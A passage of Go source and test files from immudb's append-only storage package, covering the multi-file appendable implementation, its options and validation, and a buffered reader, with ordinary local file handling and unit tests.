ErrInvalidOptions = fmt.Errorf("%w: invalid options", ErrIllegalArguments) var ErrAlreadyClosed = errors.New("multiapp: already closed") var ErrReadOnly = errors.New("multiapp: read-only mode") const ( metaFileSize = "FILE_SIZE" metaWrappedMeta = "WRAPPED_METADATA" ) //--------------------------------------------------------- var _ appendable.Appendable = (*MultiFileAppendable)(nil) type MultiFileAppendableHooks interface { // Hook to open underlying appendable. // If needsWriteAccess is set to true, this appendable must be a single file appendable OpenAppendable(options *singleapp.Options, appname string, needsWriteAccess bool) (appendable.Appendable, error) // Hook to open the last underlying appendable that's available OpenInitialAppendable(opts *Options, singleAppOpts *singleapp.Options) (app appendable.Appendable, appID int64, err error) } type DefaultMultiFileAppendableHooks struct { path string } func (d *DefaultMultiFileAppendableHooks) OpenInitialAppendable(opts *Options, singleAppOpts *singleapp.Options) (app appendable.Appendable, appID int64, err error) { entries, err := os.ReadDir(d.path) if err != nil { return nil, 0, err } var filename string if len(entries) > 0 { filename = entries[len(entries)-1].Name() appID, err = strconv.ParseInt(strings.TrimSuffix(filename, filepath.Ext(filename)), 10, 64) if err != nil { return nil, 0, err } } else { appID = 0 filename = appendableName(appendableID(0, opts.fileSize), opts.fileExt) } app, err = d.OpenAppendable(singleAppOpts, filename, true) if err != nil { return nil, 0, err } return app, appID, nil } func (d *DefaultMultiFileAppendableHooks) OpenAppendable(options *singleapp.Options, appname string, needsWriteAccess bool) (appendable.Appendable, error) { return singleapp.Open(filepath.Join(d.path, appname), options) } type MultiFileAppendable struct { appendables appendableCache currAppID int64 currApp appendable.Appendable path string readOnly bool retryableSync bool autoSync bool fileMode os.FileMode fileSize int fileExt string readBufferSize int prealloc bool writeBuffer []byte // shared write-buffer only used by active appendable closed bool hooks MultiFileAppendableHooks mutex sync.Mutex } func Open(path string, opts *Options) (*MultiFileAppendable, error) { return OpenWithHooks(path, &DefaultMultiFileAppendableHooks{ path: path, }, opts) } func OpenWithHooks(path string, hooks MultiFileAppendableHooks, opts *Options) (*MultiFileAppendable, error) { err := opts.Validate() if err != nil { return nil, err } finfo, err := os.Stat(path) if err != nil { if !os.IsNotExist(err) || opts.readOnly { return nil, err } err = os.Mkdir(path, opts.fileMode) if err != nil { return nil, err } err = fileutils.SyncDir(path, filepath.Dir(path)) if err != nil { return nil, err } } else if !finfo.IsDir() { return nil, ErrorPathIsNotADirectory } m := appendable.NewMetadata(nil) m.PutInt(metaFileSize, opts.fileSize) m.Put(metaWrappedMeta, opts.metadata) var writeBuffer []byte if !opts.readOnly { // write buffer is only needed when appendable is not opened in read-only mode writeBuffer = make([]byte, opts.GetWriteBufferSize()) } appendableOpts := singleapp.DefaultOptions(). WithReadOnly(opts.readOnly). WithRetryableSync(opts.retryableSync). WithAutoSync(opts.autoSync). WithFileMode(opts.fileMode). WithCompressionFormat(opts.compressionFormat). WithCompresionLevel(opts.compressionLevel). WithReadBufferSize(opts.readBufferSize). WithWriteBuffer(writeBuffer). WithMetadata(m.Bytes()) if opts.prealloc { appendableOpts.WithPreallocSize(opts.fileSize) } currApp, currAppID, err := hooks.OpenInitialAppendable(opts, appendableOpts) if err != nil { return nil, err } cache, err := cache.NewCache(opts.maxOpenedFiles) if err != nil { return nil, err } fileSize, _ := appendable.NewMetadata(currApp.Metadata()).GetInt(metaFileSize) return &MultiFileAppendable{ appendables: appendableCache{cache: cache}, currAppID: currAppID, currApp: currApp, path: path, readOnly: opts.readOnly, retryableSync: opts.retryableSync, autoSync: opts.autoSync, fileMode: opts.fileMode, fileSize: fileSize, fileExt: opts.fileExt, readBufferSize: opts.readBufferSize, prealloc: opts.prealloc, writeBuffer: writeBuffer, closed: false, hooks: hooks, }, nil } func appendableName(appID int64, ext string) string { return fmt.Sprintf("%08d.%s", appID, ext) } func appendableID(off int64, fileSize int) int64 { return off / int64(fileSize) } func (mf *MultiFileAppendable) Copy(dstPath string) error { mf.mutex.Lock() defer mf.mutex.Unlock() if mf.closed { return ErrAlreadyClosed } if !mf.readOnly { err := mf.sync() if err != nil { return err } } err := os.MkdirAll(dstPath, mf.fileMode) if err != nil { return err } entries, err := os.ReadDir(mf.path) if err != nil { return err } for _, e := range entries { _, err = copyFile(path.Join(mf.path, e.Name()), path.Join(dstPath, e.Name())) if err != nil { return err } } return nil } func copyFile(srcPath, dstPath string) (int64, error) { dstFile, err := os.Create(dstPath) if err != nil { return 0, err } defer dstFile.Close() srcFile, err := os.Open(srcPath) if err != nil { return 0, err } defer srcFile.Close() return io.Copy(dstFile, srcFile) } func (mf *MultiFileAppendable) CompressionFormat() int { mf.mutex.Lock() defer mf.mutex.Unlock() return mf.currApp.CompressionFormat() } func (mf *MultiFileAppendable) CompressionLevel() int { mf.mutex.Lock() defer mf.mutex.Unlock() return mf.currApp.CompressionLevel() } func (mf *MultiFileAppendable) Metadata() []byte { mf.mutex.Lock() defer mf.mutex.Unlock() bs, _ := appendable.NewMetadata(mf.currApp.Metadata()).Get(metaWrappedMeta) return bs } func (mf *MultiFileAppendable) Size() (int64, error) { mf.mutex.Lock() defer mf.mutex.Unlock() if mf.closed { return 0, ErrAlreadyClosed } currSize, err := mf.currApp.Size() if err != nil { return 0, err } return mf.currAppID*int64(mf.fileSize) + currSize, nil } func (mf *MultiFileAppendable) Append(bs []byte) (off int64, n int, err error) { mf.mutex.Lock() defer mf.mutex.Unlock() if mf.closed { return 0, 0, ErrAlreadyClosed } if mf.readOnly { return 0, 0, ErrReadOnly } if len(bs) == 0 { return 0, 0, ErrIllegalArguments } for n < len(bs) { available := mf.fileSize - int(mf.currApp.Offset()) if available <= 0 { // by switching to read-only mode, the write buffer is freed err = mf.currApp.SwitchToReadOnlyMode() if err != nil { return off, n, err } _, ejectedApp, err := mf.appendables.Put(mf.currAppID, mf.currApp) if err != nil { return off, n, err } if ejectedApp != nil { metricsCacheEvicted.Inc() err = ejectedApp.Close() if err != nil { return off, n, err } } mf.currAppID++ currApp, err := mf.openAppendable(appendableName(mf.currAppID, mf.fileExt), true, true) if err != nil { return off, n, err } mf.currApp = currApp err = currApp.SetOffset(0) if err != nil { return off, n, err } available = mf.fileSize } var d int if mf.currApp.CompressionFormat() == appendable.NoCompression { d = minInt(available, len(bs)-n) } else { d = len(bs) - n } offn, _, err := mf.currApp.Append(bs[n : n+d]) if err != nil { return off, n, err } if n == 0 { off = offn + mf.currAppID*int64(mf.fileSize) } n += d } return } func (mf *MultiFileAppendable) openAppendable(appname string, createIfNotExists, activeChunk bool) (appendable.Appendable, error) { appendableOpts := singleapp.DefaultOptions(). WithReadOnly(mf.readOnly). WithRetryableSync(mf.retryableSync). WithAutoSync(mf.autoSync). WithFileMode(mf.fileMode). WithCreateIfNotExists(createIfNotExists). WithReadBufferSize(mf.readBufferSize). WithCompressionFormat(mf.currApp.CompressionFormat()). WithCompresionLevel(mf.currApp.CompressionLevel()). WithMetadata(mf.currApp.Metadata()) if mf.prealloc { appendableOpts.WithPreallocSize(mf.fileSize) } if activeChunk && !mf.readOnly { appendableOpts.WithWriteBuffer(mf.writeBuffer) } return mf.hooks.OpenAppendable(appendableOpts, appname, activeChunk) } func (mf *MultiFileAppendable) Offset() int64 { mf.mutex.Lock() defer mf.mutex.Unlock() return mf.offset() } func (mf *MultiFileAppendable) offset() int64 { return mf.currAppID*int64(mf.fileSize) + mf.currApp.Offset() } func (mf *MultiFileAppendable) SetOffset(off int64) error { mf.mutex.Lock() defer mf.mutex.Unlock() if mf.closed { return ErrAlreadyClosed } if mf.readOnly { return ErrReadOnly } currOffset := mf.offset() if off > currOffset { return fmt.Errorf("%w: provided offset %d is bigger than current one %d", ErrIllegalArguments, off, currOffset) } if off == currOffset { return nil } appID := appendableID(off, mf.fileSize) // given the new offset is lower than the current one, it means // either appID == mf.currAppID or appID < mf.currAppID must hold if mf.currAppID != appID { // Head might have moved back, this means that all // chunks that follow are no longer valid (will be overwritten anyway). // We also must flush / close current chunk since it will be reopened. for id := appID; id < mf.currAppID; id++ { app, err := mf.appendables.Pop(id) if errors.Is(err, cache.ErrKeyNotFound) { continue } if err != nil { return err } err = app.Close() if err != nil { return err } } // close current appendable as it's not present in the cache err := mf.currApp.Close() if err != nil { return err } app, err := mf.openAppendable(appendableName(appID, mf.fileExt), false, true) if err != nil { if os.IsNotExist(err) { return io.EOF } return err } mf.currAppID = appID mf.currApp = app } return mf.currApp.SetOffset(off % int64(mf.fileSize)) } func (mf *MultiFileAppendable) DiscardUpto(off int64) error { mf.mutex.Lock() defer mf.mutex.Unlock() if mf.closed { return ErrAlreadyClosed } if mf.offset() < off { return fmt.Errorf("%w: discard beyond existent data boundaries", ErrIllegalArguments) } appID := appendableID(off, mf.fileSize) var dirSyncNeeded bool for i := int64(0); i < appID; i++ { if i == mf.currAppID { break } app, err := mf.appendables.Pop(i) if err == nil { err = app.Close() if err != nil { return err } } appFile := filepath.Join(mf.path, appendableName(i, mf.fileExt)) err = os.Remove(appFile) if err != nil && !os.IsNotExist(err) { return err } dirSyncNeeded = true } if dirSyncNeeded { err := fileutils.SyncDir(mf.path) if err != nil { return err } } return nil } func (mf *MultiFileAppendable) appendableFor(off int64) (appendable.Appendable, error) { mf.mutex.Lock() defer mf.mutex.Unlock() if mf.closed { return nil, ErrAlreadyClosed } appID := appendableID(off, mf.fileSize) if appID == mf.currAppID { metricsCacheHit.Inc() return mf.currApp, nil } app, err := mf.appendables.Get(appID) if err != nil { if !errors.Is(err, cache.ErrKeyNotFound) { return nil, err } metricsCacheMiss.Inc() app, err = mf.openAppendable(appendableName(appID, mf.fileExt), false, false) if err != nil { return nil, err } _, ejectedApp, err := mf.appendables.Put(appID, app) if err != nil { return nil, err } if ejectedApp != nil { metricsCacheEvicted.Inc() err = ejectedApp.Close() if err != nil { return nil, err } } } else { metricsCacheHit.Inc() } return app, nil } func (mf *MultiFileAppendable) ReadAt(bs []byte, off int64) (int, error) { if len(bs) == 0 { return 0, ErrIllegalArguments } metricsReads.Inc() r := 0 for r < len(bs) { offr := off + int64(r) app, err := mf.appendableFor(offr) if err != nil { metricsReadBytes.Add(float64(r)) if os.IsNotExist(err) { return r, io.EOF } metricsReadErrors.Inc() return r, err } rn, err := app.ReadAt(bs[r:], offr%int64(mf.fileSize)) r += rn if errors.Is(err, io.EOF) { if rn > 0 { continue } metricsReadBytes.Add(float64(r)) return r, err } if err != nil { metricsReadBytes.Add(float64(r)) metricsReadErrors.Inc() return r, err } } metricsReadBytes.Add(float64(r)) return r, nil } func (mf *MultiFileAppendable) SwitchToReadOnlyMode() error { mf.mutex.Lock() defer mf.mutex.Unlock() if mf.closed { return ErrAlreadyClosed } if mf.readOnly { return ErrReadOnly } // only current appendable needs to be switched to read-only mode err := mf.currApp.SwitchToReadOnlyMode() if err != nil { return err } mf.writeBuffer = nil mf.readOnly = true return nil } func (mf *MultiFileAppendable) Flush() error { mf.mutex.Lock() defer mf.mutex.Unlock() if mf.closed { return ErrAlreadyClosed } if mf.readOnly { return ErrReadOnly } return mf.currApp.Flush() } func (mf *MultiFileAppendable) Sync() error { mf.mutex.Lock() defer mf.mutex.Unlock() if mf.closed { return ErrAlreadyClosed } if mf.readOnly { return ErrReadOnly } return mf.sync() } func (mf *MultiFileAppendable) sync() error { // sync is only needed in the current appendable: // - with retryable sync, non-active appendables were already synced // - with non-retryable sync, data may be lost in previous flush or sync calls return mf.currApp.Sync() } func (mf *MultiFileAppendable) Close() error { mf.mutex.Lock() defer mf.mutex.Unlock() if mf.closed { return ErrAlreadyClosed } mf.closed = true err := mf.appendables.Apply(func(k int64, v appendable.Appendable) error { return v.Close() }) if err != nil { return err } return mf.currApp.Close() } func (mf *MultiFileAppendable) CurrApp() (appendable.Appendable, int64) { mf.mutex.Lock() defer mf.mutex.Unlock() return mf.currApp, mf.currAppID } func (mf *MultiFileAppendable) ReplaceCachedChunk(appID int64, app appendable.Appendable) (appendable.Appendable, error) { return mf.appendables.Replace(appID, app) } func minInt(a, b int) int { if a <= b { return a } return b } ================================================ FILE: embedded/appendable/multiapp/multi_app_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package multiapp import ( "io" "io/ioutil" "os" "path/filepath" "testing" "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/appendable/singleapp" "github.com/stretchr/testify/require" ) func TestMultiApp(t *testing.T) { md := appendable.NewMetadata(nil) md.PutInt("mkey1", 1) a, err := Open(filepath.Join(t.TempDir(), "multiapp"), DefaultOptions().WithMetadata(md.Bytes())) require.NoError(t, err) sz, err := a.Size() require.NoError(t, err) require.Equal(t, int64(0), sz) require.Equal(t, appendable.DefaultCompressionFormat, a.CompressionFormat()) require.Equal(t, appendable.DefaultCompressionLevel, a.CompressionLevel()) err = a.SetOffset(0) require.NoError(t, err) require.Equal(t, int64(0), a.Offset()) mkey1, found := appendable.NewMetadata(a.Metadata()).GetInt("mkey1") require.True(t, found) require.Equal(t, 1, mkey1) _, _, err = a.Append(nil) require.ErrorIs(t, err, ErrIllegalArguments) _, _, err = a.Append([]byte{}) require.ErrorIs(t, err, ErrIllegalArguments) off, n, err := a.Append([]byte{0}) require.NoError(t, err) require.Equal(t, int64(0), off) require.Equal(t, 1, n) off, n, err = a.Append([]byte{1, 2, 3}) require.NoError(t, err) require.Equal(t, int64(1), off) require.Equal(t, 3, n) off, n, err = a.Append([]byte{4, 5, 6, 7, 8, 9, 10}) require.NoError(t, err) require.Equal(t, int64(4), off) require.Equal(t, 7, n) err = a.Flush() require.NoError(t, err) bs := make([]byte, 4) n, err = a.ReadAt(bs, 0) require.NoError(t, err) require.Equal(t, 4, n) require.Equal(t, []byte{0, 1, 2, 3}, bs) bs = make([]byte, 4) n, err = a.ReadAt(bs, 7) require.NoError(t, err) require.Equal(t, 4, n) require.Equal(t, []byte{7, 8, 9, 10}, bs) err = a.Sync() require.NoError(t, err) err = a.Close() require.NoError(t, err) } func TestMultiApOffsetAndCacheEviction(t *testing.T) { a, err := Open(t.TempDir(), DefaultOptions().WithFileSize(1).WithMaxOpenedFiles(1)) require.NoError(t, err) off, n, err := a.Append([]byte{0, 1, 2, 3, 4, 5, 6, 7}) require.NoError(t, err) err = a.Flush() require.NoError(t, err) err = a.SetOffset(0) require.NoError(t, err) _, _, err = a.Append([]byte{7, 6, 5, 4, 3, 2, 1, 0}) require.NoError(t, err) err = a.Flush() require.NoError(t, err) b := make([]byte, n) _, err = a.ReadAt(b, off) require.NoError(t, err) require.Equal(t, []byte{7, 6, 5, 4, 3, 2, 1, 0}, b) } func TestMultiAppClosedAndDeletedFiles(t *testing.T) { path := t.TempDir() a, err := Open(path, DefaultOptions().WithFileSize(1).WithMaxOpenedFiles(1)) require.NoError(t, err) _, n, err := a.Append([]byte{0, 1, 2, 3, 4, 5, 6, 7}) require.NoError(t, err) err = a.appendables.Apply(func(k int64, v appendable.Appendable) error { return v.Close() }) require.NoError(t, err) err = a.Close() require.ErrorIs(t, err, singleapp.ErrAlreadyClosed) fname := filepath.Join(a.path, appendableName(0, a.fileExt)) os.Remove(fname) a, err = Open(path, DefaultOptions().WithFileSize(1).WithMaxOpenedFiles(1)) require.NoError(t, err) b := make([]byte, n) _, err = a.ReadAt(b, 0) require.ErrorIs(t, err, io.EOF) } func TestMultiAppClosedFiles(t *testing.T) { a, err := Open(t.TempDir(), DefaultOptions().WithFileSize(1).WithMaxOpenedFiles(2)) require.NoError(t, err) _, _, err = a.Append([]byte{0, 1, 2}) require.NoError(t, err) err = a.appendables.Apply(func(k int64, v appendable.Appendable) error { return v.Close() }) require.NoError(t, err) _, _, err = a.Append([]byte{3, 4, 5}) require.ErrorIs(t, err, singleapp.ErrAlreadyClosed) } func TestMultiAppReOpening(t *testing.T) { path := t.TempDir() a, err := Open(path, DefaultOptions().WithFileSize(1)) require.NoError(t, err) off, n, err := a.Append([]byte{1, 2}) require.NoError(t, err) require.Equal(t, int64(0), off) require.Equal(t, 2, n) off, n, err = a.Append([]byte{3}) require.NoError(t, err) require.Equal(t, int64(2), off) require.Equal(t, 1, n) copyPath := t.TempDir() err = a.Copy(copyPath) require.NoError(t, err) defer os.RemoveAll(copyPath) err = a.Close() require.NoError(t, err) a, err = Open(copyPath, DefaultOptions()) require.NoError(t, err) err = a.SwitchToReadOnlyMode() require.NoError(t, err) sz, err := a.Size() require.NoError(t, err) require.Equal(t, int64(3), sz) bs := make([]byte, 3) n, err = a.ReadAt(bs, 0) require.NoError(t, err) require.Equal(t, 3, n) require.Equal(t, []byte{1, 2, 3}, bs) _, _, err = a.Append([]byte{}) require.ErrorIs(t, err, ErrReadOnly) _, _, err = a.Append([]byte{0}) require.ErrorIs(t, err, ErrReadOnly) err = a.Flush() require.ErrorIs(t, err, ErrReadOnly) err = a.SwitchToReadOnlyMode() require.ErrorIs(t, err, ErrReadOnly) err = a.Sync() require.ErrorIs(t, err, ErrReadOnly) err = a.Close() require.NoError(t, err) } func TestMultiAppEdgeCases(t *testing.T) { path := t.TempDir() _, err := Open(path, nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = Open("multi_app_test.go", DefaultOptions()) require.ErrorIs(t, err, ErrorPathIsNotADirectory) _, err = Open(path, DefaultOptions().WithReadOnly(true)) require.Error(t, err) a, err := Open(path, DefaultOptions()) require.NoError(t, err) _, err = a.ReadAt(nil, 0) require.ErrorIs(t, err, ErrIllegalArguments) _, err = a.ReadAt([]byte{}, 0) require.ErrorIs(t, err, ErrIllegalArguments) err = a.Copy("multi_app_test.go") require.ErrorContains(t, err, "not a directory") err = a.Close() require.NoError(t, err) _, err = a.Size() require.ErrorIs(t, err, ErrAlreadyClosed) err = a.Copy("copy") require.ErrorIs(t, err, ErrAlreadyClosed) err = a.SetOffset(0) require.ErrorIs(t, err, ErrAlreadyClosed) _, _, err = a.Append([]byte{}) require.ErrorIs(t, err, ErrAlreadyClosed) _, err = a.ReadAt(make([]byte, 1), 0) require.ErrorIs(t, err, ErrAlreadyClosed) err = a.Flush() require.ErrorIs(t, err, ErrAlreadyClosed) err = a.SwitchToReadOnlyMode() require.ErrorIs(t, err, ErrAlreadyClosed) err = a.Sync() require.ErrorIs(t, err, ErrAlreadyClosed) err = a.Close() require.ErrorIs(t, err, ErrAlreadyClosed) } func TestMultiAppCompression(t *testing.T) { path := t.TempDir() a, err := Open(path, DefaultOptions().WithCompressionFormat(appendable.ZLibCompression)) require.NoError(t, err) off, _, err := a.Append([]byte{1, 2, 3}) require.NoError(t, err) require.Equal(t, int64(0), off) err = a.Flush() require.NoError(t, err) bs := make([]byte, 3) _, err = a.ReadAt(bs, 0) require.NoError(t, err) require.Equal(t, []byte{1, 2, 3}, bs) err = a.Close() require.NoError(t, err) } func TestMultiAppAppendableForCurrentChunk(t *testing.T) { path := t.TempDir() a, err := Open(path, DefaultOptions().WithFileSize(10)) require.NoError(t, err) testData := []byte{1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12} off, n, err := a.Append(testData) require.NoError(t, err) require.EqualValues(t, 0, off) require.EqualValues(t, n, 12) app, err := a.appendableFor(11) require.NoError(t, err) require.Equal(t, a.currApp, app) } func TestMultiappOpenIncorrectPath(t *testing.T) { testfile := filepath.Join(t.TempDir(), "testfile") require.NoError(t, ioutil.WriteFile(testfile, []byte{}, 0777)) a, err := Open(testfile, DefaultOptions()) require.Error(t, err) require.Nil(t, a) } func TestMultiappOpenFolderWithBogusFiles(t *testing.T) { dir := filepath.Join(t.TempDir(), "test_bogus_dir") require.NoError(t, os.MkdirAll(dir, 0777)) require.NoError(t, ioutil.WriteFile(filepath.Join(dir, "bogus_file"), []byte{}, 0777)) a, err := Open(dir, DefaultOptions()) require.Error(t, err) require.Nil(t, a) } func TestMultiAppDiscard(t *testing.T) { dir := t.TempDir() a, err := Open(dir, DefaultOptions().WithFileSize(1)) require.NoError(t, err) err = a.DiscardUpto(0) require.NoError(t, err) err = a.DiscardUpto(1) require.ErrorIs(t, err, ErrIllegalArguments) off0, n0, err := a.Append([]byte{1, 2}) require.NoError(t, err) require.Equal(t, int64(0), off0) require.Equal(t, 2, n0) off1, n1, err := a.Append([]byte{3, 4}) require.NoError(t, err) require.Equal(t, int64(2), off1) require.Equal(t, 2, n1) err = a.DiscardUpto(off0 + int64(n0)) require.NoError(t, err) err = a.DiscardUpto(off1 + int64(n1)) require.NoError(t, err) err = a.Close() require.NoError(t, err) err = a.DiscardUpto(1) require.ErrorIs(t, err, ErrAlreadyClosed) a, err = Open(dir, DefaultOptions().WithFileSize(1)) require.NoError(t, err) off2, n2, err := a.Append([]byte{5}) require.NoError(t, err) require.Equal(t, int64(4), off2) require.Equal(t, 1, n2) err = a.Close() require.NoError(t, err) } ================================================ FILE: embedded/appendable/multiapp/options.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package multiapp import ( "fmt" "os" "github.com/codenotary/immudb/embedded/appendable" ) const DefaultFileSize = 1 << 26 // 64Mb const DefaultMaxOpenedFiles = 10 const DefaultFileMode = os.FileMode(0755) const DefaultCompressionFormat = appendable.DefaultCompressionFormat const DefaultCompressionLevel = appendable.DefaultCompressionLevel const DefaultReadBufferSize = 4096 const DefaultWriteBufferSize = 4096 type Options struct { readOnly bool readBufferSize int writeBufferSize int retryableSync bool // if retryableSync is enabled, buffer space is released only after a successful sync autoSync bool // if autoSync is enabled, sync is called when the buffer is full fileMode os.FileMode fileSize int prealloc bool fileExt string metadata []byte maxOpenedFiles int compressionFormat int compressionLevel int } func DefaultOptions() *Options { return &Options{ readOnly: false, retryableSync: true, autoSync: true, fileMode: DefaultFileMode, fileSize: DefaultFileSize, fileExt: "aof", maxOpenedFiles: DefaultMaxOpenedFiles, compressionFormat: DefaultCompressionFormat, compressionLevel: DefaultCompressionLevel, readBufferSize: DefaultReadBufferSize, writeBufferSize: DefaultWriteBufferSize, } } func (opts *Options) Validate() error { if opts == nil { return fmt.Errorf("%w: nil options", ErrInvalidOptions) } if opts.fileSize <= 0 { return fmt.Errorf("%w: invalid fileSize", ErrInvalidOptions) } if opts.maxOpenedFiles <= 0 { return fmt.Errorf("%w: invalid maxOpenedFiles", ErrInvalidOptions) } if opts.fileExt == "" { return fmt.Errorf("%w: invalid fileExt", ErrInvalidOptions) } if opts.readBufferSize <= 0 { return fmt.Errorf("%w: invalid readBufferSize", ErrInvalidOptions) } if !opts.readOnly && opts.writeBufferSize <= 0 { return fmt.Errorf("%w: invalid writeBufferSize", ErrInvalidOptions) } return nil } func (opt *Options) WithReadOnly(readOnly bool) *Options { opt.readOnly = readOnly return opt } func (opt *Options) WithRetryableSync(retryableSync bool) *Options { opt.retryableSync = retryableSync return opt } func (opt *Options) WithAutoSync(autoSync bool) *Options { opt.autoSync = autoSync return opt } func (opt *Options) WithFileMode(fileMode os.FileMode) *Options { opt.fileMode = fileMode return opt } func (opt *Options) WithMetadata(metadata []byte) *Options { opt.metadata = metadata return opt } func (opt *Options) WithFileSize(fileSize int) *Options { opt.fileSize = fileSize return opt } func (opt *Options) WithFileExt(fileExt string) *Options { opt.fileExt = fileExt return opt } func (opt *Options) WithMaxOpenedFiles(maxOpenedFiles int) *Options { opt.maxOpenedFiles = maxOpenedFiles return opt } func (opt *Options) WithCompressionFormat(compressionFormat int) *Options { opt.compressionFormat = compressionFormat return opt } func (opt *Options) WithCompresionLevel(compressionLevel int) *Options { opt.compressionLevel = compressionLevel return opt } func (opts *Options) WithReadBufferSize(size int) *Options { opts.readBufferSize = size return opts } func (opts *Options) WithWriteBufferSize(size int) *Options { opts.writeBufferSize = size return opts } func (opts *Options) WithPrealloc(prealloc bool) *Options { opts.prealloc = prealloc return opts } func (opt *Options) GetFileExt() string { return opt.fileExt } func (opt *Options) GetFileMode() os.FileMode { return opt.fileMode } func (opts *Options) GetReadBufferSize() int { return opts.readBufferSize } func (opts *Options) GetWriteBufferSize() int { return opts.writeBufferSize } func (opts *Options) GetPrealloc() bool { return opts.prealloc } ================================================ FILE: embedded/appendable/multiapp/options_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package multiapp import ( "testing" "github.com/stretchr/testify/require" ) func TestInvalidOptions(t *testing.T) { for _, d := range []struct { n string opts *Options }{ {"nil", nil}, {"empty", &Options{}}, {"FileSize", DefaultOptions().WithFileSize(0)}, {"FileSize", DefaultOptions().WithFileSize(0)}, {"MaxOpenedFiles", DefaultOptions().WithMaxOpenedFiles(0)}, {"FileExt", DefaultOptions().WithFileExt("")}, {"ReadBufferSize", DefaultOptions().WithReadBufferSize(0)}, {"WriteBufferSize", DefaultOptions().WithReadOnly(false).WithWriteBufferSize(0)}, } { t.Run(d.n, func(t *testing.T) { require.ErrorIs(t, d.opts.Validate(), ErrInvalidOptions) }) } } func TestDefaultOptions(t *testing.T) { require.NoError(t, DefaultOptions().Validate()) } func TestValidOptions(t *testing.T) { opts := &Options{} require.Equal(t, "aof", opts.WithFileExt("aof").fileExt) require.Equal(t, "aof", opts.WithFileExt("aof").GetFileExt()) require.Equal(t, DefaultFileMode, opts.WithFileMode(DefaultFileMode).fileMode) require.Equal(t, DefaultFileMode, opts.WithFileMode(DefaultFileMode).GetFileMode()) require.Equal(t, DefaultFileSize, opts.WithFileSize(DefaultFileSize).fileSize) require.Equal(t, DefaultMaxOpenedFiles, opts.WithMaxOpenedFiles(DefaultMaxOpenedFiles).maxOpenedFiles) require.Equal(t, []byte{}, opts.WithMetadata([]byte{}).metadata) require.Equal(t, DefaultCompressionFormat, opts.WithCompressionFormat(DefaultCompressionFormat).compressionFormat) require.Equal(t, DefaultCompressionLevel, opts.WithCompresionLevel(DefaultCompressionLevel).compressionLevel) require.True(t, opts.WithRetryableSync(true).retryableSync) require.True(t, opts.WithAutoSync(true).autoSync) require.True(t, opts.WithReadOnly(true).readOnly) require.ErrorIs(t, opts.Validate(), ErrInvalidOptions) require.Equal(t, DefaultReadBufferSize+1, opts.WithReadBufferSize(DefaultReadBufferSize+1).GetReadBufferSize()) require.NoError(t, opts.Validate()) require.False(t, opts.WithReadOnly(false).readOnly) require.ErrorIs(t, opts.Validate(), ErrInvalidOptions) require.Equal(t, DefaultWriteBufferSize+2, opts.WithWriteBufferSize(DefaultWriteBufferSize+2).GetWriteBufferSize()) require.NoError(t, opts.Validate()) require.True(t, opts.WithReadOnly(true).readOnly) require.NoError(t, opts.Validate()) } ================================================ FILE: embedded/appendable/reader.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package appendable import ( "encoding/binary" "io" ) type Reader struct { rAt io.ReaderAt data []byte dataIndex int eof bool readIndex int offset int64 readCount int64 // total number of read bytes } func NewReaderFrom(rAt io.ReaderAt, off int64, size int) *Reader { return &Reader{ rAt: rAt, data: make([]byte, size), dataIndex: 0, eof: false, readIndex: 0, offset: off, } } func (r *Reader) Reset() { r.dataIndex = 0 r.eof = false r.readIndex = 0 r.offset = 0 r.readCount = 0 } func (r *Reader) Offset() int64 { return r.offset } func (r *Reader) ReadCount() int64 { return r.readCount } func (r *Reader) Read(bs []byte) (n int, err error) { defer func() { r.readCount += int64(n) }() for { bn := min(r.dataIndex-r.readIndex, len(bs)-n) copy(bs[n:], r.data[r.readIndex:r.readIndex+bn]) r.readIndex += bn n += bn if n == len(bs) { break } if r.eof { return n, io.EOF } rn, err := r.rAt.ReadAt(r.data, r.offset) r.dataIndex = rn r.readIndex = 0 r.offset += int64(rn) if err == io.EOF { r.eof = true continue } if err != nil { return n, err } } return n, nil } func (r *Reader) ReadByte() (byte, error) { var b [1]byte _, err := r.Read(b[:]) if err != nil { return 0, err } return b[0], nil } func (r *Reader) ReadUint64() (uint64, error) { var b [8]byte _, err := r.Read(b[:8]) if err != nil { return 0, err } return binary.BigEndian.Uint64(b[:]), nil } func (r *Reader) ReadUint32() (uint32, error) { var b [4]byte _, err := r.Read(b[:4]) if err != nil { return 0, err } return binary.BigEndian.Uint32(b[:]), nil } func (r *Reader) ReadUint16() (uint16, error) { var b [2]byte _, err := r.Read(b[:2]) if err != nil { return 0, err } return binary.BigEndian.Uint16(b[:]), nil } func min(a, b int) int { if a <= b { return a } return b } ================================================ FILE: embedded/appendable/reader_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package 